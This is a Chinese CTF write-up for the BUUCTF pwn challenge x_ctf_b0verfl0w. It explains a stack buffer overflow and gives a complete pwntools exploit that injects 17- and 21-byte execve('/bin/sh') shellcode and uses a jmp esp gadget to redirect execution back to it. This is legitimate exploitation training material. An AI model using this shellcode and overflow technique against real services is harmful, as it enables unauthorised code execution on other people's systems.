BUUCTF pwn x_ctf_b0verfl0w

首先:

checksec一下,发现保护全关,并且可写可读可执行,那么便可以直接传入shellcode并执行 

 

接下来看主程序:

 

发现在s这里存在栈溢出,但是这里没有system("/bin/sh"),与我们最开始的想法不谋而合,传入shellcode并且执行。这里fgets向s写入50字节,其中padding占据0x20(32)个字节,除去fake ebp和ret两个8字节,那么便就只剩下10字节写shellcode,这是不够的,那么如何写入shellcode呢?

重点 :

我们可以在栈初始位置就写入shellcode,然后控制程序执行流在栈初始部分,执行shellcode。如何实现控制程序执行流,看下方的栈布局:

shellcode | padding | fake ebp | jmp_esp_address | sub esp,0x28 | jmp esp

主要思路:

栈布局如上,解析一下,栈开头传入shellcode,shellcode的长度要小于0x24,过长会溢出到ret_address,用shellcraft.sh()生成的shellcode长度为0x2c,是过长的,所以我们要自己手搓shellcode,或者可以去这个网站上找:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers 

前面不足0x24的填满垃圾数据,然后在ret的部分填入jmp_esp_address,ret等同于pop eip,当eip指向jmp_esp_address,便会执行jmp esp,同时由于pop,esp+4, 此时eip指向sub exp,0x28;jmp esp,便执行这段语句,直接回到栈初始位置,执行shellcode。(0x28=0x20+fake_esp+jmp_esp_address)

思路整理完毕,先ROPgadget寻找jmp:

ROPgadget --binary over --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp  #就这个
0x0804836a : ret
0x0804847e : ret 0xeac1

 很巧,这里正好有jmp esp,说明我们的思路没错,那么便直接上脚本:

from pwn import *
context(arch='i386',log_level='debug')
jmp_esp = 0x08048504
r=remote('node5.buuoj.cn',25247)

'''
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
'''
shellcode = b"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
len1 = len(shellcode)
payload = shellcode + (0x24-len1)*b'a'
payload += p32(jmp_esp)
payload += asm('sub esp,0x28')
payload += asm('jmp esp')

r.sendline(payload)
r.interactive()

脚本中有两个shellcode,都是可以的,第一个shellcode参考了这位佬的文章:

 https://www.cnblogs.com/gaonuoqi/p/12674851.html

第二个shellcode在上面那个网站找到的:

 Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) (exploit-db.com)

总结 :

1.首先思路很重要,分析输入的长度限制,shellcode长度受限该怎么办?

2.对于汇编语言的合理运用,合理控制执行流

  • 13
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值